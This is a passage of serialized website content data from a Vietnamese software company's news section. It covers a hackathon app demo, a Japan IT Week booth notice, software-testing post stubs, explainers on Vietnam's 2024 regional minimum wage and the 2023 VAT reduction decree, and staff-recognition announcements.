reliability of the product",[403,5831,5833],{"id":5832},"how-to-use","How to use",[11,5835,5836],{},"3 basic steps",[438,5838],{"className":5839,"alt":66,"src":5840,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07085856\u002FStep-768x335.png",[11,5842,5843],{},"Demo and link app:",[5845,5846,3037,5848],"video",{"controls":74,"style":5847},"max-width: 100%; height: auto;",[3307,5849],{"src":5850,"type":5851},"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F02153100\u002FDemoIngredientChecker.mp4","video\u002Fmp4",[11,5853,5854,5855],{},"Link: ",[55,5856,5858],{"href":5850,"rel":5857},[59],"https:\u002F\u002Fingredient-checker.briswell-vn.com\u002F",{"title":66,"searchDepth":67,"depth":67,"links":5860},[5861,5862,5863,5864,5865,5866,5867],{"id":5710,"depth":67,"text":5711},{"id":4972,"depth":67,"text":4977},{"id":5757,"depth":67,"text":5758},{"id":5778,"depth":67,"text":5779},{"id":5790,"depth":67,"text":5791},{"id":5808,"depth":67,"text":5809},{"id":5832,"depth":67,"text":5833},[3347,1318],{},"\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker",{"title":5705,"description":5714},"news\u002Fhackathon-ung-dung-ingredientchecker","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07084009\u002Fback-ground-768x432.jpg","idlLycQsriPdh-u1O5O6IZWInG3JatsN8a1bY1ADv9g",{"id":5876,"title":5877,"body":5878,"category":69,"created by":70,"date":5907,"description":5908,"extension":72,"meta":5909,"navigation":74,"path":5910,"sections":76,"seo":5911,"stem":5912,"thumbnail":5913,"__hash__":5914},"content_en\u002Fnews\u002Fjapan-it-week-2023.md","We are looking forward to meet you at Japan IT Week !!",{"type":8,"value":5879,"toc":5905},[5880,5883,5886,5889,5892,5895,5898],[11,5881,5882],{},"We will be participating in Japan IT Week (Wednesday, October 25, 2023 to Friday, October 27, 2023).",[11,5884,5885],{},"Our company provides services such as AI image analysis, AI analog meter reading, AWS consulting, order management, and other outsourced system development.",[11,5887,5888],{},"We often receive consultations from customers who have tried to introduce famous cloud services but have not been successful. They may also complain that the response speed is slow.",[11,5890,5891],{},"If you have any problems, please feel free to consult with us at our booth.",[11,5893,5894],{},"If you make a reservation, we can provide you with a smooth guide.",[11,5896,5897],{},"Please refer to the link below for more information.",[11,5899,5900],{},[55,5901,5904],{"href":5902,"rel":5903,"title":5904},"https:\u002F\u002Ftech.briswell.com\u002Fentry\u002F2023\u002F10\u002F18\u002F140442?src=yktw",[59],"Japan IT Week at Makuhari Messe, October 25-27, 2023, Booth No. 52-46",{"title":66,"searchDepth":67,"depth":67,"links":5906},[],"2023-10-19","We will be participating in Japan IT Week (Wednesday, October 25, 2023 to Friday, October 27, 2023). Our company provides services such as AI image analysis, AI analog meter reading, AWS consulting, order management, and other outsourced system development.",{},"\u002Fnews\u002Fjapan-it-week-2023",{"title":5877,"description":5908},"news\u002Fjapan-it-week-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F19105456\u002Flogo_itweek.png","9KXEOBwNje78X1NPbpAOL_37FYyZkzm43VqtnxtWkuI",{"id":5916,"title":5917,"body":5918,"category":262,"created by":70,"date":5924,"description":259,"extension":72,"meta":5925,"navigation":74,"path":5926,"sections":76,"seo":5927,"stem":5928,"thumbnail":5929,"__hash__":5930},"content_en\u002Fnews\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem.md","(日本語) ホワイトボックスと経験ベーステスト",{"type":8,"value":5919,"toc":5922},[5920],[11,5921,259],{},{"title":66,"searchDepth":67,"depth":67,"links":5923},[],"2025-01-24",{},"\u002Fnews\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem",{"title":5917,"description":259},"news\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F01\u002F20160610\u002FScreenshot-2025-01-20-160540.png","TaM38rtNMrKOa28uejmziK6o4ciuzNNMU1rM0AJDmro",{"id":5932,"title":5933,"body":5934,"category":262,"created by":70,"date":5940,"description":259,"extension":72,"meta":5941,"navigation":74,"path":5942,"sections":76,"seo":5943,"stem":5944,"thumbnail":5945,"__hash__":5946},"content_en\u002Fnews\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh.md","(日本語) 静的テストの基本",{"type":8,"value":5935,"toc":5938},[5936],[11,5937,259],{},{"title":66,"searchDepth":67,"depth":67,"links":5939},[],"2025-01-09",{},"\u002Fnews\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh",{"title":5933,"description":259},"news\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F01\u002F02173310\u002FScreenshot-2025-01-02-140214.png","w9wpR_HhCMmCychbydddU8rTVaSqlFHAkzfJhbY6eqQ",{"id":5948,"title":5949,"body":5950,"category":262,"created by":70,"date":5956,"description":259,"extension":72,"meta":5957,"navigation":74,"path":5958,"sections":76,"seo":5959,"stem":5960,"thumbnail":76,"__hash__":5961},"content_en\u002Fnews\u002Fky-thuat-kiem-thu-hop-den.md","(日本語) ブラックボックステスト",{"type":8,"value":5951,"toc":5954},[5952],[11,5953,259],{},{"title":66,"searchDepth":67,"depth":67,"links":5955},[],"2025-01-15",{},"\u002Fnews\u002Fky-thuat-kiem-thu-hop-den",{"title":5949,"description":259},"news\u002Fky-thuat-kiem-thu-hop-den","kCNd4Delj9Do2zU12vjlnaHoNm_iqOM_qI_R3e48TFE",{"id":5963,"title":5964,"body":5965,"category":1319,"created by":70,"date":5971,"description":259,"extension":72,"meta":5972,"navigation":74,"path":5973,"sections":76,"seo":5974,"stem":5975,"thumbnail":5976,"__hash__":5977},"content_en\u002Fnews\u002Fmo-hinh-vong-doi-phat-trien-phan-mem.md","(日本語) ソフトウェア開発モデルにおけるテストの特徴",{"type":8,"value":5966,"toc":5969},[5967],[11,5968,259],{},{"title":66,"searchDepth":67,"depth":67,"links":5970},[],"2024-12-04",{},"\u002Fnews\u002Fmo-hinh-vong-doi-phat-trien-phan-mem",{"title":5964,"description":259},"news\u002Fmo-hinh-vong-doi-phat-trien-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F02171801\u002FScreenshot-2024-12-02-171532.png","mf77Lgn9aR-CWfmIOdpmcfIQTrEmTQaw4h829Ebgmto",{"id":5979,"title":5980,"body":5981,"category":69,"created by":4556,"date":6198,"description":6199,"extension":72,"meta":6200,"navigation":74,"path":6201,"sections":76,"seo":6202,"stem":6203,"thumbnail":6204,"__hash__":6205},"content_en\u002Fnews\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024.md","REGIONAL MINIMUM WAGE FROM JULY 1, 2024",{"type":8,"value":5982,"toc":6196},[5983,5988,5997,6002,6023,6026,6029,6037,6040,6045,6051,6129,6134,6142,6147,6169,6173],[11,5984,5985],{},[20,5986,5987],{},"I. The schedule of regional minimum wage increase in 2024",[11,5989,5990,5991,5996],{},"According to the ",[55,5992,5995],{"href":5993,"rel":5994},"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-du-thao-nghi-dinh-quy-dinh-muc-luong-toi-vung-119240322185014301.htm",[59],"Draft Decree prescribing the regional minimum wage",", the time to apply the new regional minimum wage is from July 1, 2024.",[11,5998,5999],{},[20,6000,6001],{},"II. How does the regional minimum wage change?",[31,6003,6004,6007,6014],{},[34,6005,6006],{},"The Ministry of Labor - Invalids and Social Affairs is drafting a Decree regulating the minimum wage for employees working under labor contracts. Accordingly, the Ministry proposes to adjust the minimum wage by 6% compared to the current level.",[34,6008,6009,6010,6013],{},"On January 12, 2024, the National Salary Council issued report ",[51,6011,6012],{},"No. 02\u002FBC-HDTLQG"," to the Government recommending adjusting the regional minimum wage to an average increase of 6%, applicable from July 1, 2024.",[34,6015,6016,6017,6022],{},"From July 1, 2024, the salary policy will undergo comprehensive reform ",[55,6018,6021],{"href":6019,"rel":6020},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-quyet-27-NQ-TW-2018-cai-cach-chinh-sach-tien-luong-doi-voi-can-bo-cong-chuc-vien-chuc-382336.aspx",[59],"Resolution 27-NQ\u002FTW"," In 2018 of the Seventh Conference of the 12th Central Committee of the Communist Party of Vietnam, public sector salaries will increase, accordingly, there needs to be an adjustment in the minimum salary of the business sector to ensure general correlation.",[11,6024,6025],{},"The change in the regional minimum wage is intended to reflect the current economic situation and living standards while ensuring that employees have a basic income level consistent with the cost of living.",[11,6027,6028],{},"Accordingly, the regional minimum wage applied in 2024 will have 2 stages:",[11,6030,6031,6032],{},"(1) From January 1, 2024 to June 30, 2024: the regional minimum wage applies according to ",[55,6033,6036],{"href":6034,"rel":6035},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-dinh-38-2022-ND-CP-muc-luong-toi-thieu-nguoi-lao-dong-lam-viec-theo-hop-dong-515984.aspx",[59],"Decree 38\u002F2022\u002FND-CP.",[11,6038,6039],{},"(2) From July 1, 2024 to December 31, 2024: Apply the new regional minimum wage (an increase of 6% compared to the first 6 months of 2024).",[11,6041,6042],{},[20,6043,6044],{},"III. The regional minimum wage applies from July 1, 2024",[11,6046,5990,6047,6050],{},[55,6048,5995],{"href":5993,"rel":6049},[59]," for employees working under employment contracts, from July 1, 2024, the regional minimum wage is provided for as follows:",[276,6052,6053,6083],{},[279,6054,6055],{},[282,6056,6057,6063,6073],{},[285,6058,6060],{"align":6059},"center",[20,6061,6062],{},"Region",[285,6064,6065,6068,6070],{"align":6059},[20,6066,6067],{},"Regional minimum wage per month",[473,6069],{},[20,6071,6072],{},"Unit: (VND\u002Fmonth)",[285,6074,6075,6078,6080],{"align":6059},[20,6076,6077],{},"Regional minimum wage per hour",[473,6079],{},[20,6081,6082],{},"Unit: (VND\u002Fhour)",[301,6084,6085,6096,6107,6118],{},[282,6086,6087,6090,6093],{},[306,6088,6089],{"align":6059},"Region I",[306,6091,6092],{"align":6059},"4.960.000",[306,6094,6095],{"align":6059},"23.800",[282,6097,6098,6101,6104],{},[306,6099,6100],{"align":6059},"Region II",[306,6102,6103],{"align":6059},"4.410.000",[306,6105,6106],{"align":6059},"21.200",[282,6108,6109,6112,6115],{},[306,6110,6111],{"align":6059},"Region III",[306,6113,6114],{"align":6059},"3.860.000",[306,6116,6117],{"align":6059},"18.600",[282,6119,6120,6123,6126],{},[306,6121,6122],{"align":6059},"Region IV",[306,6124,6125],{"align":6059},"3.450.000",[306,6127,6128],{"align":6059},"16.600",[11,6130,6131],{},[20,6132,6133],{},"1. Changes in social insurance payment rates when applying the new regional minimum wage in 2024",[31,6135,6136,6139],{},[34,6137,6138],{},"From July 1, 2024, for employees in Region I, the Salary for Social Insurance Contributions will not be lower than 4.960.000\u002Fmonth.",[34,6140,6141],{},"For employees in Region I (with the expected regional minimum wage of 4.960.000 VND\u002Fmonth), the maximum Salary for Unemployment Insurance Contributions in a month can be up to 99,2 million VND.",[11,6143,6144],{},[20,6145,6146],{},"2. Notes when applying the new regional minimum wage in 2024",[31,6148,6149,6152],{},[34,6150,6151],{},"When implementing the regional minimum wage, enterprises are not allowed to cut or reduce salary regimes when employees work overtime, work at night or work in heavy and hazardous working conditions. In addition, enterprises are not allowed to eliminate in-kind compensation for heavy, hazardous occupations and other benefits according to the provisions of Labor Code.",[34,6153,6154,6155],{},"Parties affected when the regional minimum wage in 2024 changes",[31,6156,6157,6160,6163,6166],{},[34,6158,6159],{},"Employees who work under labor contracts as prescribed the provisions of the Labor Code.",[34,6161,6162],{},"Enterprises are established, organized, managed and operated as prescribed the Law on Enterprises.",[34,6164,6165],{},"Cooperatives, cooperative unions, cooperative groups, farms, family households, individuals and other Vietnamese organizations that hire employees under employment contracts.",[34,6167,6168],{},"Foreign agencies, organizations, international organizations and foreign individuals in Vietnam hire employees under employment contracts (except for international treaties to which the Socialist Republic of Vietnam is a member have regulations different from the provisions of this Decree).",[11,6170,6171],{},[20,6172,201],{},[31,6174,6175,6182,6189],{},[34,6176,6177,6178],{},"The Draft: ",[55,6179,6181],{"href":5993,"rel":6180},[59],"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-du-thao-nghi-dinh-quy-dinh-muc-luong-toi-vung",[34,6183,6184,6185],{},"Decree 38\u002F2022\u002FND-CP: ",[55,6186,6188],{"href":6034,"rel":6187},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-dinh-38-2022-ND-CP",[34,6190,6191,6192],{},"Resolution 27-NQ\u002FTW: ",[55,6193,6195],{"href":6019,"rel":6194},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-quyet-27-NQ-TW-2018",{"title":66,"searchDepth":67,"depth":67,"links":6197},[],"2025-03-17","I. The schedule of regional minimum wage increase in 2024 According to the Draft Decree prescribing the regional minimum wage, the time to apply the new regional minimum wage is from July 1, 2024. II. How does the regional minimum wage change?      – The Ministry of Labor – Invalids and Social Affairs is drafting a Decree regulating the minimum wage for employees working under labor contracts. Accordingly, the Ministry proposes to adjust the minimum wage by 6% compared to the current level.",{},"\u002Fnews\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024",{"title":5980,"description":6199},"news\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F06\u002F05133908\u002F202405-768x576.png","fdMg3eWZZJlHq-QIfDfeM6ZxxcnYlAC6ml0ELYcldKs",{"id":6207,"title":6208,"body":6209,"category":69,"created by":3000,"date":6540,"description":6541,"extension":72,"meta":6542,"navigation":74,"path":6543,"sections":76,"seo":6544,"stem":6545,"thumbnail":6546,"__hash__":6547},"content_en\u002Fnews\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet.md","DECREE 44\u002F2023\u002FND-CP ON VAT REDUCTION",{"type":8,"value":6210,"toc":6534},[6211,6232,6238,6245,6251,6258,6363,6369,6376,6421,6427,6434,6437,6440,6451,6457,6460,6463,6471,6488,6490],[11,6212,6213,6214,6219,6220,6225,6226,6231],{},"On June 30, 2023, The General Department of Taxation issued ",[55,6215,6218],{"href":6216,"rel":6217},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FCong-dien-05-CD-TCT-2023-trien-khai-Nghi-dinh-44-2023-ND-CP-giam-thue-gia-tri-gia-tang-571347.aspx",[59],"Public Notice 05\u002FCD-TCT"," about the implementation of ",[55,6221,6224],{"href":6222,"rel":6223},"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-nghi-dinh-44-2023-nd-cp-ve-giam-thue-gia-tri-gia-tang-119230630185610998.htm",[59],"Decree 44\u002F2023\u002FND-CP"," stipulating the value-added tax (VAT) reduction policy according to ",[55,6227,6230],{"href":6228,"rel":6229},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBo-may-hanh-chinh\u002FNghi-quyet-101-2023-QH15-ky-hop-thu-5-Quoc-hoi-khoa-XV-571915.aspx",[59],"Resolution 101\u002F2023\u002FQH15"," of The National Assembly.",[403,6233,6235],{"id":6234},"time-limit-for-applying-vat-reduction-policy-according-to-decree-442023nd-cp",[20,6236,6237],{},"Time Limit For Applying VAT Reduction Policy According To Decree 44\u002F2023\u002FND-CP",[11,6239,6240,6241,6244],{},"The policy of reducing VAT as prescribed in ",[55,6242,6224],{"href":6222,"rel":6243},[59]," is valid from July 1, 2023 to December 31, 2023.",[403,6246,6248],{"id":6247},"contents-of-vat-reduction-policy-according-to-decree-442023nd-cp",[20,6249,6250],{},"Contents Of VAT Reduction Policy According To Decree 44\u002F2023\u002FND-CP",[11,6252,6253,6254,6257],{},"Pursuant to the contents of Article 1 ",[55,6255,6224],{"href":6222,"rel":6256},[59],", reduce the VAT rate to 8% for groups of goods and services currently applying the 10% tax rate, except for the following groups of goods and services:",[276,6259,6260,6279],{},[279,6261,6262],{},[282,6263,6264,6269,6274],{},[285,6265,6266],{},[20,6267,6268],{},"Group of goods and services",[285,6270,6271],{},[20,6272,6273],{},"Apply tax policy",[285,6275,6276],{},[20,6277,6278],{},"Research base",[301,6280,6281,6298,6311,6324,6337],{},[282,6282,6283,6289,6292],{},[306,6284,6285,6286,6288],{},"- Telecommunications, financial activities, banking, securities, insurance, real estate, metals and prefabricated metal products, mining products (excluding coal mining), coke, oil refined mines and chemical products.",[473,6287],{},"- Coal products are sold at stages other than mining.",[306,6290,6291],{},"The new VAT reduction policy in 2023 is not applicable",[306,6293,6294,6295],{},"Appendix I is attached ",[55,6296,6224],{"href":6222,"rel":6297},[59],[282,6299,6300,6303,6306],{},[306,6301,6302],{},"- For coal mined and sold (including the case of coal mined and then screened and classified according to a closed process to be sold)",[306,6304,6305],{},"Apply the policy of reducing VAT from 10% to 8%",[306,6307,6308],{},[55,6309,6224],{"href":6222,"rel":6310},[59],[282,6312,6313,6316,6318],{},[306,6314,6315],{},"- Goods and services subject to excise tax",[306,6317,6291],{},[306,6319,6320,6321],{},"Appendix II is attached ",[55,6322,6224],{"href":6222,"rel":6323},[59],[282,6325,6326,6329,6331],{},[306,6327,6328],{},"- Information technology under the law on information technology",[306,6330,6291],{},[306,6332,6333,6334],{},"Appendix III is attached ",[55,6335,6224],{"href":6222,"rel":6336},[59],[282,6338,6339,6342,6345],{},[306,6340,6341],{},"- Goods and services are not taxable and subject to 5% VAT according to the Law on VAT",[306,6343,6344],{},"Continue to apply according to the previous VAT law, not apply the new VAT reduction policy in 2023",[306,6346,6347,6352,6353,6352,6358],{},[55,6348,6351],{"href":6349,"rel":6350},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-219-2013-TT-BTC-huong-dan-Luat-thue-gia-tri-gia-tang-va-Nghi-dinh-209-2013-ND-CP-220761.aspx",[59],"Circular No. 219\u002F2013\u002FTT-BTC","  ",[55,6354,6357],{"href":6355,"rel":6356},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-26-2015-TT-BTC-huong-dan-12-2015-ND-CP-thue-gia-tri-gia-tang-sua-doi-39-2014-TT-BTC-267174.aspx",[59],"Circular 26\u002F2015\u002FTT-BTC",[55,6359,6362],{"href":6360,"rel":6361},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-43-2021-TT-BTC-sua-doi-Khoan-11-Dieu-10-Thong-tu-219-2013-TT-BTC-477641.aspx",[59],"Circular 43\u002F2021\u002FTT-BTC",[403,6364,6366],{"id":6365},"vat-reduction-level-according-to-decree-442023nd-cp",[20,6367,6368],{},"VAT Reduction Level According To Decree 44\u002F2023\u002FND-CP",[11,6370,6371,6372,6375],{},"Pursuant to the contents of Clause 2, Article 1 ",[55,6373,6224],{"href":6222,"rel":6374},[59],", the VAT reduction is regulated as follows:",[276,6377,6378,6397],{},[279,6379,6380],{},[282,6381,6382,6387,6392],{},[285,6383,6384],{},[20,6385,6386],{},"VAT calculation method",[285,6388,6389],{},[20,6390,6391],{},"The previous VAT rate",[285,6393,6394],{},[20,6395,6396],{},"The VAT rate after applying Decree 44\u002F2023\u002FND-CP",[301,6398,6399,6410],{},[282,6400,6401,6404,6407],{},[306,6402,6403],{},"Deduction method",[306,6405,6406],{},"10%",[306,6408,6409],{},"8% - For the group of goods and services eligible for tax reduction",[282,6411,6412,6415,6418],{},[306,6413,6414],{},"Method of percentage on revenue (including business households and business individuals)",[306,6416,6417],{},"The percentage of VAT calculation depends on each type of service and goods",[306,6419,6420],{},"20% discount rate for VAT calculation",[403,6422,6424],{"id":6423},"how-to-issue-8-vat-invoice-according-to-decree-442023nd-cp",[20,6425,6426],{},"How To Issue 8% VAT Invoice According To Decree 44\u002F2023\u002FND-CP",[11,6428,6429,6430,6433],{},"According to ",[55,6431,6224],{"href":6222,"rel":6432},[59],", instructions for making an 8% VAT invoice are as follows:",[11,6435,6436],{},"For business establishments that calculate VAT by the deduction method:",[11,6438,6439],{},"When making a value-added invoice for goods and services eligible for VAT reduction:",[31,6441,6442,6448],{},[34,6443,6444,6445,436],{},"At the “VAT rate” line, write: \"",[51,6446,6447],{},"8%",[34,6449,6450],{},"Value-added tax; The total amount to be paid by the buyer is calculated and recorded at the tax rate of 8%.",[11,6452,6453,6454,878],{},"Note: In case a business establishment calculates VAT by the credit method when selling goods or providing services with different tax rates, the value-added invoice must clearly state the tax rate of each goods or service as prescribed in Clause 3, Article 1 ",[55,6455,6224],{"href":6222,"rel":6456},[59],[11,6458,6459],{},"For business establishments (including business households and business individuals) that VAT is calculated according to the percentage method on revenue:",[11,6461,6462],{},"When making sales invoices for goods and services eligible for VAT reduction:",[31,6464,6465,6468],{},[34,6466,6467],{},"In the column “Amount” - “Thành tiền”: Write the full amount of goods and services before reducing.",[34,6469,6470],{},"In the line “Total Amount” - “Cộng tiền hàng hóa, dịch vụ”: Write the number that has reduced 20% of the percentage of revenue.",[11,6472,6473,6474,507,6477,6483,6484,6487],{},"Also note: “",[51,6475,6476],{},"đã giảm… (số tiền) tương ứng 20% mức tỷ lệ % để tính thuế giá trị gia tăng theo",[55,6478,6480],{"href":6228,"rel":6479},[59],[51,6481,6482],{},"Nghị quyết 101\u002F2023\u002FQH15","\" - \"",[51,6485,6486],{},"an amount of......., equivalent to 20% of the rate (%) used as the basis for calculating VAT, is reduced according to the Resolution No. 101\u002F2023\u002FQH15”"," on the issued invoice.",[11,6489,201],{},[31,6491,6492,6499,6506,6513,6520,6527],{},[34,6493,6494,6495],{},"Public Notice 05\u002FCD-TCT: ",[55,6496,6498],{"href":6216,"rel":6497},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FCong-dien-05-CD-TCT-2023",[34,6500,6501,6502],{},"Decree 44\u002F2023\u002FND-CP: ",[55,6503,6505],{"href":6222,"rel":6504},[59],"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-nghi-dinh-44-2023",[34,6507,6508,6509],{},"Resolution 101\u002F2023\u002FQH15: ",[55,6510,6512],{"href":6228,"rel":6511},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBo-may-hanh-chinh\u002FNghi-quyet-101-2023-QH15",[34,6514,6515,6516],{},"Circular No. 219\u002F2013\u002FTT-BTC: ",[55,6517,6519],{"href":6349,"rel":6518},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-219-2013-TT-BTC",[34,6521,6522,6523],{},"Circular 26\u002F2015\u002FTT-BTC:  ",[55,6524,6526],{"href":6355,"rel":6525},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-26-2015-TT-BTC",[34,6528,6529,6530],{},"Circular 43\u002F2021\u002FTT-BTC: ",[55,6531,6533],{"href":6360,"rel":6532},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-43-2021-TT-BTC",{"title":66,"searchDepth":67,"depth":67,"links":6535},[6536,6537,6538,6539],{"id":6234,"depth":67,"text":6237},{"id":6247,"depth":67,"text":6250},{"id":6365,"depth":67,"text":6368},{"id":6423,"depth":67,"text":6426},"2023-09-26","On June 30, 2023, The General Department of Taxation issued Public Notice 05\u002FCD-TCT about the implementation of Decree 44\u002F2023\u002FND-CP stipulating the value-added tax (VAT) reduction policy according to Resolution 101\u002F2023\u002FQH15 of The National Assembly. Time Limit For Applying VAT Reduction Policy According To Decree 44\u002F2023\u002FND-CP The policy of reducing VAT as prescribed in Decree 44\u002F2023\u002FND-CP is valid from July 1, 2023 to December 31, 2023",{},"\u002Fnews\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet",{"title":6208,"description":6541},"news\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F24153928\u002FPIC-news-Final.png","s3U0rPyfyNhNwDwM6xlGvPFNzpcAaJbgBPK9E3qauzE",{"id":6549,"title":6550,"body":6551,"category":69,"created by":4556,"date":6596,"description":6597,"extension":72,"meta":6598,"navigation":74,"path":6599,"sections":76,"seo":6600,"stem":6601,"thumbnail":6602,"__hash__":6603},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2024.md","Excellent Staff In Quarter 1.2024",{"type":8,"value":6552,"toc":6594},[6553,6556,6559,6563,6568,6574,6579,6585,6588,6591],[11,6554,6555],{},"Welcome back to Briswell Vietnam's “Excellent Staff of the Quarter” series!",[11,6557,6558],{},"We are thrilled to recognize two incredible staff for their exceptional performance in Quarter 1.2024. These two staff have made positive contributions this quarter, furthering the company's progress.",[438,6560],{"className":6561,"alt":66,"src":6562,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F30155818\u002FIMG_2034-1024x765.jpg",[11,6564,6565],{},[20,6566,6567],{},"The first prize",[11,6569,6570,6571],{},"Dang Minh Dat ",[51,6572,6573],{},"(Right)",[11,6575,6576],{},[20,6577,6578],{},"The second prize",[11,6580,6581,6582],{},"Le Ngoc Khanh ",[51,6583,6584],{},"(Center)",[11,6586,6587],{},"Congratulations to Mr.Dat and Mr.Khanh! Hope that you two continue to develop your excellent abilities and achieve more success in the future.",[11,6589,6590],{},"We also sincerely thank all staff for their efforts and contributions in the past quarter.",[11,6592,6593],{},"Let's continue to do our best in the next quarter!",{"title":66,"searchDepth":67,"depth":67,"links":6595},[],"2025-02-28","Welcome back to Briswell Vietnam’s “Excellent Staff of the Quarter” series! We are thrilled to recognize two incredible staff for their exceptional performance in Quarter 1.2024. These two staff have made positive contributions this quarter, furthering the company’s progress.   The first prize Dang Minh Dat (Right) The second prize Le Ngoc Khanh (Center) Congratulations to Mr.Dat and Mr.Khanh! Hope that you two continue to that you two continue to develop your excellent abilities and achieve more success in the future.",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2024",{"title":6550,"description":6597},"news\u002Fnhan-vien-xuat-sac-quy-1-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F30155813\u002F202405_ExcellentStaff.png","zy_fHteXi_WuTIGGgusZFiAEs3mnrfopkVaHLvDVNSE",{"id":6605,"title":6606,"body":6607,"category":69,"created by":4556,"date":6651,"description":6652,"extension":72,"meta":6653,"navigation":74,"path":6654,"sections":76,"seo":6655,"stem":6656,"thumbnail":6657,"__hash__":6658},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2025.md","Excellent Staff in Quarter 1.2025",{"type":8,"value":6608,"toc":6649},[6609,6612,6615,6619,6624,6629,6634,6640,6643,6646],[11,6610,6611],{},"Kicking off a promising year in 2025, Briswell Vietnam continues the tradition of celebrating excellent staff each quarter.",[11,6613,6614],{},"In this first quarter, the company is delighted to recognize two exceptional individuals who have not only kept up their good work but also continued to stand out.",[438,6616],{"className":6617,"alt":66,"src":6618,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F21145248\u002FIMG_4435-768x886.jpg",[11,6620,6621],{},[20,6622,6623],{},"🏅The first prize",[11,6625,6626,6627],{},"Phan Thanh Hoang - Nodejs Developer ",[51,6628,6573],{},[11,6630,6631],{},[20,6632,6633],{},"🥈The second prize",[11,6635,6636,6637],{},"Nguyen Thi Ngoc Hai - Nodejs Developer ",[51,6638,6639],{},"(Left)",[11,6641,6642],{},"This is not the first time they have appeared on the recognition list – both Mr. Hoang and Ms. Hai also achieved great results in previous quarters. Their hard work and strong efforts have helped them stay at the top in Briswell Vietnam.",[11,6644,6645],{},"Congratulations to Mr. Hoang and Ms. Hai for their great contributions this quarter!",[11,6647,6648],{},"Let’s all keep trying our best and work toward new goals in Quarter 2 and beyond!",{"title":66,"searchDepth":67,"depth":67,"links":6650},[],"2025-05-30","Kicking off a promising year in 2025, Briswell Vietnam continues the tradition of celebrating excellent staff each quarter. In this first quarter, the company is delighted to recognize two exceptional individuals who have not only kept up their good work but also continued to stand out. 🏅The first prize Phan Thanh Hoang – Nodejs Developer (Right) 🥈The second prize Nguyen Thi Ngoc Hai – Nodejs 